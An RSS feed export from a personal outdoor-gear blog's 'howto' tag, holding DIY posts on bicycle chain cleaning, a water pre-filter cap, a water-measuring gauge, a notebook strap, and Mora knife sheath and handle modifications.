<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pig-monkey.com &#187; howto</title>
	<atom:link href="http://pig-monkey.com/tag/howto/feed/" rel="self" type="application/rss+xml" />
	<link>http://pig-monkey.com</link>
	<description>Here are recorded many goings and comings, doings and beings; stories, symbols and meanings. Gossamer threads that may be woven into a larger web: a story of this Age of the World.</description>
	<lastBuildDate>Sun, 25 Jul 2010 08:11:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Bicycle Chain Cleaning</title>
		<link>http://pig-monkey.com/2010/07/14/bicycle-chain-cleaning/</link>
		<comments>http://pig-monkey.com/2010/07/14/bicycle-chain-cleaning/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 20:25:45 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[bicycle]]></category>
		<category><![CDATA[clean]]></category>
		<category><![CDATA[howto]]></category>

		<guid isPermaLink="false">http://pig-monkey.com/?p=3037</guid>
		<description><![CDATA[Those chain cleaning tools sold at most outdoors stores tend to pretty useless in my experience. They run around $30, but end up being cheap and ineffective pieces of plastic. I&#8217;ve given up on them in favor of cleaning my chain manually via a method discovered on Sheldon Brown&#8217;s chain maintenance page (any man with <a href="http://pig-monkey.com/2010/07/14/bicycle-chain-cleaning/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p>Those chain cleaning tools sold at most outdoors stores tend to pretty useless in my experience. They run around $30, but end up being cheap and ineffective pieces of plastic. I&#8217;ve given up on them in favor of cleaning my chain manually via a method discovered on <a href="http://www.sheldonbrown.com/chains.html">Sheldon Brown&#8217;s chain maintenance page</a> (any man with <a href="http://sheldonbrown.com/images/scb_eagle.jpeg">a beard like that</a> must be infallible).</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4794451148/" title="Bicycle Chain Cleaning by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4120/4794451148_4efe1e0802.jpg" width="500" height="375" alt="Bicycle Chain Cleaning" /></a></p>
<p>All that&#8217;s needed is a chain tool, a bottle, some sort of degrease-ing dish soap, and water.</p>
<p><span id="more-3037"></span></p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4794455930/" title="Bicycle Chain by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4073/4794455930_f0ed2010c2.jpg" width="375" height="500" alt="Bicycle Chain" class="right" /></a></p>
<p>The process is simple. Break the chain with the chain tool and drop it into the bottle. (I use an old Gatorade bottle.) Then put in a small dollop of the soap. Fill up the bottle with water, shake it around a bit, and let it sit. The water becomes black immediately. After it has sat for about 15 minutes I&#8217;ll dump it out, rinse off the chain, and put it back into the bottle with fresh soap and water. I do this until the water stays clear, which generally takes about 3 cycles.</p>
<p>When it&#8217;s done, you should have a chain that&#8217;s relatively clean-ish. Dry it, toss it back on the bike, lube up, and start cruising! If the chain was really dirty, you might also want a <a href="http://www.rei.com/product/663792">cheap brush</a> to scrub it down.</p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2010/07/14/bicycle-chain-cleaning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DIY Platypus Pre-Filter Cap</title>
		<link>http://pig-monkey.com/2010/07/13/diy-platypus-pre-filter-cap/</link>
		<comments>http://pig-monkey.com/2010/07/13/diy-platypus-pre-filter-cap/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 17:48:37 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[filter]]></category>
		<category><![CDATA[gear]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[water]]></category>

		<guid isPermaLink="false">http://pig-monkey.com/?p=3028</guid>
		<description><![CDATA[Although I have misgivings about their durability, Platypus&#8216; 2L+ bottles remains the primary water reservoirs in my pack. It&#8217;s been a bit over a year now since I started using them. At the same time I switched over to Platypus, I also started treating my water with chemicals rather than filtering it. Both methods of <a href="http://pig-monkey.com/2010/07/13/diy-platypus-pre-filter-cap/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p>Although <a href="http://pig-monkey.com/2010/04/25/hydration-musings/">I have misgivings about their durability</a>, <a href="http://www.cascadedesigns.com/platypus">Platypus</a>&#8216; <a href="http://www.cascadedesigns.com/platypus/handheld-hydration/platy-bottle/product">2L+ bottles</a> remains the primary water reservoirs in my pack. It&#8217;s been a bit over a year now since I started using them. At the same time I switched over to Platypus, I also started treating my water with chemicals rather than filtering it. Both methods of treatment have their advantages and disadvantages, but lately I have been using chemicals almost exclusively.</p>
<p>A water filter, of course, filters out not only the invisible nasties that upset the stomach, but also the visible things things that don&#8217;t cause much harm but aren&#8217;t altogether pleasant: dirt, dead bugs, small rocks, and the like. When I moved to using chemicals I was just dumping the water into my drinking vessel direct from the source. Without any sort of filter, the water could sometimes be a bit gritty. Too textured for my taste.</p>
<p>As a first attempt to solve this I started to place a bandanna over the opening of the Platypus, and then poured the source water over that. That worked great for getting out the sediment, but then I had the problem of having a wet rag. If the sun is out, it dries, but the other 307 days of the year, the bandanna &#8212; even a synthetic Buff &#8212; became a bit of a hassle to dry. I wanted some sort of pre-filter that I could get wet without worrying about it.</p>
<p>The solution (like more than a few before it) came while browsing the <a href="http://www.backpackinglight.com">BackpackingLight</a> forums.</p>
<p><span id="more-3028"></span></p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4790268567/" title="DIY Platypus Pre-Filter Cap by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4136/4790268567_8a73e40bd3.jpg" width="500" height="375" alt="DIY Platypus Pre-Filter Cap" /></a></p>
<p>A <a href="http://www.ron-vik.com/filters.aspx">filter washer</a> is a rubber washer with a mesh screen in the middle. Apparently they&#8217;re used in garden hoses and washing machines to remove sediment. I was able to find them easily in the plumbing section of a local hardware store.</p>
<p>I took an old Platypus cap and drilled out the center of it. Then, with a little Gorilla Glue, glued the filter washer onto the cap. That&#8217;s all there is to it! The new pre-filter cap weighs 2 grams (0.07 oz) and shouldn&#8217;t cost much more than $1 to make.</p>
<ul class="thumbs">
<li><a href="http://www.flickr.com/photos/pigmonkey/4790264139/" title="DIY Platypus Pre-Filter Cap by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4123/4790264139_4051511b46_m.jpg" width="240" height="180" alt="DIY Platypus Pre-Filter Cap" /></a></li>
<li><a href="http://www.flickr.com/photos/pigmonkey/4790899198/" title="DIY Platypus Pre-Filter Cap by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4120/4790899198_9c97a88aca_m.jpg" width="240" height="180" alt="DIY Platypus Pre-Filter Cap" /></a></li>
</ul>
<p>The downside to the pre-filter cap is that it does noticeably decrease the flow rate of the water. To fill the Platypus, I use a scoop made out of an older Platypus bottle with the top cut off. Without the pre-filter cap, it takes all of 30 seconds to fill the Platypus bottle. With the pre-filter cap, it takes something more like 2 minutes to fill up the bottle. I have to pour the water out of the scoop much more slowly. Because of this I&#8217;ll sometimes forgo using the pre-filter cap if the water looks very clean, but the majority of the time I do use the cap. It&#8217;s become a permanent addition to my pack.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4790270607/" title="DIY Platypus Pre-Filter Cap by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4135/4790270607_7428bf911f.jpg" width="500" height="375" alt="DIY Platypus Pre-Filter Cap" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2010/07/13/diy-platypus-pre-filter-cap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DIY Water Measuring Doohickey</title>
		<link>http://pig-monkey.com/2010/05/22/diy-water-measuring-doohickey/</link>
		<comments>http://pig-monkey.com/2010/05/22/diy-water-measuring-doohickey/#comments</comments>
		<pubDate>Sun, 23 May 2010 01:06:28 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[gear]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[notebook]]></category>
		<category><![CDATA[water]]></category>

		<guid isPermaLink="false">http://pig-monkey.com/?p=2468</guid>
		<description><![CDATA[When I purchased my Trail Designs Ti-Tri Titanium Stove System, I bought it with a 900mL pot from Titanium Goat. I like the pot, but it has one shortcoming: there are no measuring marks on it. I&#8217;m not comfortable just pouring a little water into a pot and saying &#8220;Well, that looks like 2 cups.&#8221; <a href="http://pig-monkey.com/2010/05/22/diy-water-measuring-doohickey/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p>When I purchased my <a href="http://pig-monkey.com/2009/01/18/trail-designs-ti-tri-titanium-stove-system/">Trail Designs Ti-Tri Titanium Stove System</a>, I bought it with a 900mL pot from <a href="http://www.titaniumgoat.com/">Titanium Goat</a>. I like the pot, but it has one shortcoming: there are no measuring marks on it. I&#8217;m not comfortable just pouring a little water into a pot and saying &#8220;Well, that <em>looks</em> like 2 cups.&#8221; I prefer a slightly higher level of accuracy.</p>
<p>Originally I addressed this by scoring the handle of my spork to mark 1, 2, and 3 cups measured in the pot &#8212; an idea which I think originally came to me from somewhere on the <a href="http://www.backpackinglight.com/">BackpackingLight</a> Forums. This method works ok &#8212; though making the marks deep enough to be visible on the titanium was a bit tough with my knife &#8212; but I&#8217;ve never felt that it is very accurate. It will tell me if I have roughly 1 cup of water in the pot, but I could really be anywhere between 3/4 of a cup to 1 1/4 cups. That&#8217;s the difference between nice, fluffy couscous and overly soggy (or dry and undercooked) couscous, you know.</p>
<p><span id="more-2468"></span></p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4630611286/" title="Pot and Spork by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3380/4630611286_8edfa28fef.jpg" width="500" height="375" alt="Pot and Spork" /></a></p>
<p>As a more accurate replacement, I came up with the idea for the Water Measuring Doohicky: a piece of paper with marks on it. Ingenious, isn&#8217;t it?</p>
<p>For the paper, I chose a cut a piece out of a page in one of my <a href="http://www.riteintherain.com/">Rite in the Rain</a> notebooks. Then I put 1/2 cup of water into the pot, set in the paper, noted the water line, took out the paper and marked the water line. This was repeated at 1/2 cup increments up to 3 cups. (The pot holds 4 cups when filled to the rim, so 3 cups is the most I would ever want to cook with.) After I had all the marks determined, I cut an identical piece of paper and put marks at the same levels. Then I tossed the soggy paper and was left with a fresh, dry piece of waterproof paper with the appropriate marks.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4630613254/" title="Water Measuring Doohickey by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4064/4630613254_c486c79f6e.jpg" width="500" height="375" alt="Water Measuring Doohickey" /></a></p>
<p>As a poor-man&#8217;s lamination, I wrapped it with clear packing tape. Even though the Rite in the Rain paper is waterproof, it gets a little soggy when submerged and takes a while to dry out. Water doesn&#8217;t cling to the tape at all. I can give it a shake or two after taking it out of the pot and it is immediately dry. The tape also adds a little stiffness, which helps achieve more accurate measurements.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4630013187/" title="Water Measuring Doohickey by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4040/4630013187_799149ee30_m.jpg" width="180" height="240" alt="Water Measuring Doohickey" class="right" /></a></p>
<p>I made two of these doohickeys at the same time, but have been using only one since last Fall. It works great. I am somewhat embarrassed it took me almost a year to come up with the idea. Even though I only made marks at 1/2 cup increments, the grid on the paper allows me to easily measure with 1/4 cup accuracy. As opposed to the marks on the spork, this paper is one extra thing to carry, but when placed on my scale it doesn&#8217;t register. I don&#8217;t think it weighs me down any.</p>
<p>I had done the lamination before I thought of this, but next time around I think I will write common cooking ratios on the back: water to couscous, water to dehydrated brown rice, etc. Usually I write those ratios on the ziploc freezer bags that hold my food, but the bags get replaced and rotated fairly frequently. The Water Measuring Doohickey has proved that it will last for a longer period of time.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4630616058/" title="Water Measuring Doohickey by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4021/4630616058_56803713af.jpg" width="500" height="375" alt="Water Measuring Doohickey" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2010/05/22/diy-water-measuring-doohickey/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>DIY Field Notebook Hack</title>
		<link>http://pig-monkey.com/2010/05/21/diy-field-notebook-hack/</link>
		<comments>http://pig-monkey.com/2010/05/21/diy-field-notebook-hack/#comments</comments>
		<pubDate>Fri, 21 May 2010 23:26:02 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[gear]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[notebook]]></category>

		<guid isPermaLink="false">http://pig-monkey.com/?p=2410</guid>
		<description><![CDATA[Here&#8217;s an idea I stole from the excellent BFE Labs: hacking a Rite in the Rain notebook to include a retention strap. The original idea at BFE was just a strap to keep the notebook closed and contain loose leafs that were shoved inside, but while making the strap he accidentally cut the webbing too <a href="http://pig-monkey.com/2010/05/21/diy-field-notebook-hack/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s an idea I stole from <a href="http://bfelabs.com/2010/04/19/field-notebook-hack/">the excellent BFE Labs</a>: hacking a <a href="http://www.riteintherain.com/">Rite in the Rain</a> notebook to include a retention strap. The original idea at BFE was just a strap to keep the notebook closed and contain loose leafs that were shoved inside, but while making the strap he accidentally cut the webbing too short. To solve this he sewed on another piece of webbing as an extension and found that the overlap between the two pieces made a good pen holder.</p>
<p><a href="http://bfelabs.com/2010/04/19/field-notebook-hack/#comment-74">I thought this was a neat idea</a>, but the tri-glide fastener used in BFE&#8217;s version seemed a little cumbersome. I knew I would want some sort of quick release buckle. A traditional side release buckle would be too bulky for my tastes, particularly when the notebook is shoved in a pocket. The other thought I had was that using elastic webbing for the pen loop might increase the versatility of the strap, since it could expand to fit different sized tools.</p>
<p>I didn&#8217;t have any 1&#8243; elastic webbing hanging about, but I did have some spare webbing and an old buckle from a previous project. With those two things along with a knife and my <a href="http://pig-monkey.com/2009/06/07/possibles-pouch/#repair-kit">repair kit</a>, I set out to see what I could do about whipping up some kind of strap.</p>
<p><span id="more-2410"></span></p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4628037450/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3307/4628037450_d04bae1aa2.jpg" width="500" height="375" alt="DIY Field Notebook Hack" /></a></p>
<p>My initial intention was to create the pen loop the same way as the BFE strap: cut one strap short and sew on an extension piece with a bit of an overlap. But before I got to that part, I had to sew one end of the buckle onto the webbing. In preparing to do this, I realized that I would already be sewing a loop right there. I could just pull a bit more webbing through the buckle to create my overlap, throw in a stitch to hold down the end of the webbing, another stitch closer to the buckle, and between the two I would have the perfect loop for my pen. Simple.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4628045532/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4057/4628045532_fec4e857cf.jpg" width="500" height="375" alt="DIY Field Notebook Hack" /></a></p>
<ul class="thumbs">
<li><a href="http://www.flickr.com/photos/pigmonkey/4627440501/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3346/4627440501_1f372e34dc_t.jpg" width="100" height="75" alt="DIY Field Notebook Hack" /></a></li>
<li><a href="http://www.flickr.com/photos/pigmonkey/4628041922/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3307/4628041922_edb9aa4469_t.jpg" width="100" height="75" alt="DIY Field Notebook Hack" /></a></li>
</ul>
<p>On the back of the notebook I created two slits for the webbing to pass in and out of, just like in the BFE hack (except I used my knife rather than a Dremel tool).</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4627436599/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4066/4627436599_8c76366121.jpg" width="500" height="375" alt="DIY Field Notebook Hack" /></a></p>
<p>I&#8217;m happy with how this hack came out and will probably perform it on my other Rite in the Rain notebooks. The whole process takes only a few minutes and does not strain my juvenile sewing skills. My one complaint is with the buckle that I happened to choose. I appreciate the low profile, center-release design, but the male end of it doesn&#8217;t grip the webbing very well. This means that while it is adjustable, it doesn&#8217;t hold much tension, and so the buckle doesn&#8217;t snap open as much as it should when I release it. I&#8217;m thinking of sewing the webbing down on the male end of the buckle just like I did on the female end. The strap would no longer be adjustable, but I could be guaranteed the proper tension and that the buckle would open with the speed and ease which I desire. This would also present the opportunity for me to create another loop to hold a second tool. Perhaps a pencil or a highlighter to go along with the pen.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4628048458/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4066/4628048458_91eccdd981.jpg" width="500" height="375" alt="DIY Field Notebook Hack" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2010/05/21/diy-field-notebook-hack/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Mora Sheath Modifications</title>
		<link>http://pig-monkey.com/2009/12/05/mora-sheath-modifications/</link>
		<comments>http://pig-monkey.com/2009/12/05/mora-sheath-modifications/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 00:01:42 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[bushcraft]]></category>
		<category><![CDATA[fire]]></category>
		<category><![CDATA[gear]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[inner-tube]]></category>
		<category><![CDATA[knife]]></category>
		<category><![CDATA[survival]]></category>

		<guid isPermaLink="false">http://pig-monkey.com/?p=1877</guid>
		<description><![CDATA[The greatest disappointment about any Mora knife is the sheath: a flimsy, plastic thing that won&#8217;t easily fit on a decent sized belt and does not even hold the knife very securely. As they come, I consider them unusable. But a few simple modifications and additions make them quite acceptable. The Mora knife sheaths are <a href="http://pig-monkey.com/2009/12/05/mora-sheath-modifications/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p>The greatest disappointment about any <a href="http://en.wikipedia.org/wiki/Mora_knife">Mora knife</a> is the sheath: a flimsy, plastic thing that won&#8217;t easily fit on a decent sized belt and does not even hold the knife very securely. As they come, I consider them unusable. But a few simple modifications and additions make them quite acceptable.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4160847927/" title="Mora Sheath Modifications by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2525/4160847927_743f431323.jpg" width="500" height="375" alt="Mora Sheath Modifications" /></a></p>
<p>The Mora knife sheaths are designed to be mounted either on a button on a pair of coveralls or through a belt. Apparently people wear very small, skinny belts in Sweden. Over here in the United States of Gun Belts, that doesn&#8217;t fly. The belt slot on the sheath can be forcefully enlarged by shoving in a piece of wood, such as a ruler, and applying heat to cause the plastic to expand, but I don&#8217;t trust that such an act will not over weaken the plastic. I&#8217;m not a big fan of carrying a Mora directly on my belt, anyway. Usually, I&#8217;ll carry the knife either on a lanyard around my neck or as a dangler off my belt. But both of these setups allow the possibility of the knife and sheath to swing freely, accentuating the problem of an insecure fit.</p>
<p><span id="more-1877"></span></p>
<p>Both the problem of how to carry the sheath and the problem of the insecure fit can be addressed with a single piece of paracord.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4161626834/" title="Paracord Loop by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2570/4161626834_6de94cc4de.jpg" width="500" height="375" alt="Paracord Loop" /></a></p>
<p>With the knife in the sheath, I take a piece of paracord and run both ends around the handle and through the slot for the belt. Then, tight against the back of the sheath, I tie an overhand knot in either end of the cord. This creates a loop of paracord on the front of the sheath that can be made smaller, but cannot become any wider than the bottom third of the handle. Because the handles on Mora knifes are somewhat tapered &#8212; fatter in the middle than on either end &#8212; this loop prevents the knife from being removed from the sheath. Even if the knife is only lightly dropped into the sheath rather than securely pressed, it cannot be removed without first sliding off the loop of paracord.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4161614998/" title="Paracord Loop by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2717/4161614998_de7d95d140.jpg" width="500" height="375" alt="Paracord Loop" /></a></p>
<p>After tying the two knots against the back of the sheath in either end of the paracord, I take both ends and tie them together, forming a loop on the back of the sheath. This provides my carry options.</p>
<p>If I want to wear the knife around my neck, I take a pre-tied loop of paracord that I carry and <a href="http://www.flickr.com/photos/pigmonkey/4160873405/in/set-72157622943203190/">loop it through itself around the loop on the sheath</a>.</p>
<p>To carry the knife in a dangler system, I prefer to use a <a href="http://www.maxpedition.com/store/pc/viewPrd.asp?idproduct=203&#038;idcategory=0">Maxpedition Keyper</a> rather than a carabiner. The Keyper is mounted on my belt and <a href="http://www.flickr.com/photos/pigmonkey/4161633582/in/set-72157622943203190/">clipped into the loop of paracord on the sheath</a>. (To reduce movement in this setup, I&#8217;ll stick the knife and sheath in my pocket.)</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4160888175/" title="Mora Sheath Modifications by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2686/4160888175_d6023c6cf5.jpg" width="500" height="375" alt="Mora Sheath Modifications" /></a></p>
<p>The last thing that I do to this part of the sheath is add a small wrap of electrical tape around the very top, covering the upper bit of the belt loop and the button hole. This prevents the paracord from sliding to the top of the sheath and forces the securing loop to be about .75&#8243; from the very end of the handle. I&#8217;ve found that if this is not done, the securing loop is like to slip off the handle.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4161623052/" title="Taped Sheath by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2520/4161623052_abee8bea47.jpg" width="500" height="375" alt="Taped Sheath" /></a></p>
<p>That&#8217;s all that is needed to make the sheath usable, but a few other additions can be made to increase its utility.</p>
<p>Around the top of the sheath, I wrap tape. In the sheaths pictured here, one has 2&#8243; olive drab duct tape, the other has 1&#8243; black <a href="http://www.gorillaglue.com/tapes.aspx">Gorilla Tape</a> (which is like duct tape, but thicker and stickier). One can never carry enough tape. I imagine, also, that the tape likely increases the structural integrity of the sheath.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4160890293/" title="Repair Needle by Pig Monkey, on Flickr"><img class="thumb right" src="http://farm3.static.flickr.com/2742/4160890293_7e57e39f67_m.jpg" width="240" height="180" alt="Repair Needle" /></a></p>
<p>On the back of both sheaths, I have a #17 sailmaking needle, pre-threaded with black kevlar thread, taped down with some electrical tape. As I mentioned in <a href="http://pig-monkey.com/2009/12/01/rat-izula-neck-knife/">my review of the RAT Izula</a>, this is an idea I first picked up from one <a href="http://www.youtube.com/profile?user=wildernessoutfitters">Dave Canterbury&#8217;s videos</a>. The extra needle and thread adds no noticeable weight and could be a welcome addition to the sheath if you ever find yourself separated from your pack, with the knife and sheath as your only piece of gear.</p>
<p>The next modification on the body of the sheath was also inspired by Dave Cantebury. In another of his videos, he showed how he had layered different width pieces of inner-tube on a machete sheath to create pockets that could store small items, such as a sharpening stone and magnesium fire starter. With that in mind, I add a wide piece of inner-tube onto the middle of the Mora sheath (which also serves to cover and further secure the taped down needle). Then, on top of that, I put a skinnier piece of inner-tube. Slid between both pieces is a backup ferro rod. Because the rod has rubber below it and rubber atop, there is an incredible amount of friction. The ferro rod becomes difficult to remove. I have carried blank rods in these &#8220;pockets&#8221; and they have never fallen out. Still, I prefer to carry rods with a lanyard of some sort on them. I loop the rod through its lanyard around the paracord loop on the top of the sheath, guaranteeing that the rod is secured.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4161608200/" title="Mora Sheath Modifications by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2565/4161608200_052433fa15.jpg" width="500" height="375" alt="Mora Sheath Modifications" /></a></p>
<p>The sheath for my KJ #1 knife has only a ferro rod. That knife is carbon steel and can generate sparks off the spine. On the sheath for the larger SL-2, however, I have added a small striker slid between the two pieces of inner-tube on the back. The SL-2 is made of laminated steel, <a href="http://pig-monkey.com/2009/11/29/rubberized-mora-handle/#comment-41473">which is too soft to reliably produce sparks</a>.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4160863263/" title="Firesteel and Striker by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2507/4160863263_2855e6afd8.jpg" width="500" height="375" alt="Firesteel and Striker" /></a></p>
<p>These modifications made to the Mora sheath help to secure the knife, allow for different carry options, guarantee a source of fire, and provide a needle, thread and tape for repairs. They turn what is otherwise a near useless sheath into a functional item worthy of being matched with the Mora blade.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4160881759/" title="Mora Blades by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2583/4160881759_412ff63f0f.jpg" width="500" height="375" alt="Mora Blades" /></a></p>
<p>(I also own a high-quality leather sheath made by <a href="http://www.jreindustries.com/">JRE Industries</a> for the KJ #1 knife. I tie a loop of paracord through the top loop of leather on the sheath so that the knife may be carried around the neck or on a dangler, similar to the modified plastic sheath. The leather sheath does not require a loop of paracord on the front to secure the handle. Nor does it need pieces of inner-tube to create a pocket for a ferro rod. The only thing that it lacks is a repair needle, but I have found that most tape does not adhere very well to leather, so I cannot stick one on the back.)</p>
<ul class="thumbs">
<li><a href="http://www.flickr.com/photos/pigmonkey/4160894851/" title="JRE Industries Mora Sheath by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2526/4160894851_51f8ec27fe_m.jpg" width="240" height="180" alt="JRE Industries Mora Sheath" /></a></li>
<li><a href="http://www.flickr.com/photos/pigmonkey/4160897049/" title="Neck Lanyard on JRE Industries Mora Sheath by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2530/4160897049_89985cc8ee_m.jpg" width="240" height="180" alt="Neck Lanyard on JRE Industries Mora Sheath" /></a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2009/12/05/mora-sheath-modifications/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Rubberized Mora Handle</title>
		<link>http://pig-monkey.com/2009/11/29/rubberized-mora-handle/</link>
		<comments>http://pig-monkey.com/2009/11/29/rubberized-mora-handle/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 16:48:58 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[bushcraft]]></category>
		<category><![CDATA[gear]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[inner-tube]]></category>
		<category><![CDATA[knife]]></category>

		<guid isPermaLink="false">http://pig-monkey.com/?p=1828</guid>
		<description><![CDATA[If an inner-tube can be used to rubberize a BIC lighter, why not a knife? One of the pesky traits of the wooden handled Mora knives is their lack of grip when wet. One could acquire a Mora with a rubber handle, but, let&#8217;s face it: those are ugly. Instead, I cut a piece of <a href="http://pig-monkey.com/2009/11/29/rubberized-mora-handle/">[...]</a>]]></description>
			<content:encoded><![CDATA[<p>If an inner-tube can be used to <a href="http://pig-monkey.com/2009/11/28/rubberized-bic-lighter/">rubberize a BIC lighter</a>, why not a knife?</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4143693999/" title="Rubberized Mora Handle by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2567/4143693999_3a9676c7ac.jpg" width="500" height="375" alt="Rubberized Mora Handle" /></a></p>
<p>One of the pesky traits of the wooden handled Mora knives is their lack of grip when wet. One could acquire a Mora with a rubber handle, but, let&#8217;s face it: those are ugly. Instead, I cut a piece of 700&#215;35 bicycle inner-tube about an inch wide and slide this just less than halfway on to the handle. The grip is immediately improved. If you were so inclined, you cut a piece the length of the handle and cover the whole thing, but so far it seems that this small piece is enough.</p>
<p><a href="http://www.flickr.com/photos/pigmonkey/4143689723/" title="Rubberized Mora Handle by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2576/4143689723_03a81c1d24.jpg" width="375" height="500" alt="Rubberized Mora Handle" /></a></p>
<p>As with the rubberized BIC, this also provides another way to carry tinder that will work even when wet (though it will require a lighter or candle to start).</p>
]]></content:encoded>
			<wfw:commentRss>http://pig-monkey.com/2009/11/29/rubberized-mora-handle/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Rubberized BIC Lighter</title>
		<link>http://pig-monkey.com/2009/11/28/rubberized-bic-lighter/</link>
		<comments>http://pig-monkey.com/2009/11/28/rubberized-bic-lighter/#comments</comments>
		<pubDate>Sat, 28 Nov 2009 20:40:56 +0000</pubDate>
		<dc:creator>Pig Monkey</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[fire]]></category>
		<category><![CDATA[gear]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[inner-tube]]></category>
		<category><![CDATA[survival]]></category>

		<guid isPermaLink="false">http://pig-monkey.com/?p=1822</guid>
		<description><![CDATA[Here&#8217;s a neat trick I picked up from Dusty&#8217;s YouTube video. In the video, he shows how to use a couple of old bicycle inner-tubes to make a semi-waterproof pouch for a BIC lighter. That didn&#8217;t appeal to me too much: I always carry a BIC in my pocket and his idea added to much <a href="http://pig-monkey.com/2009/11/28/rubberized-bic-lighter/">[...]</a>]]></description>
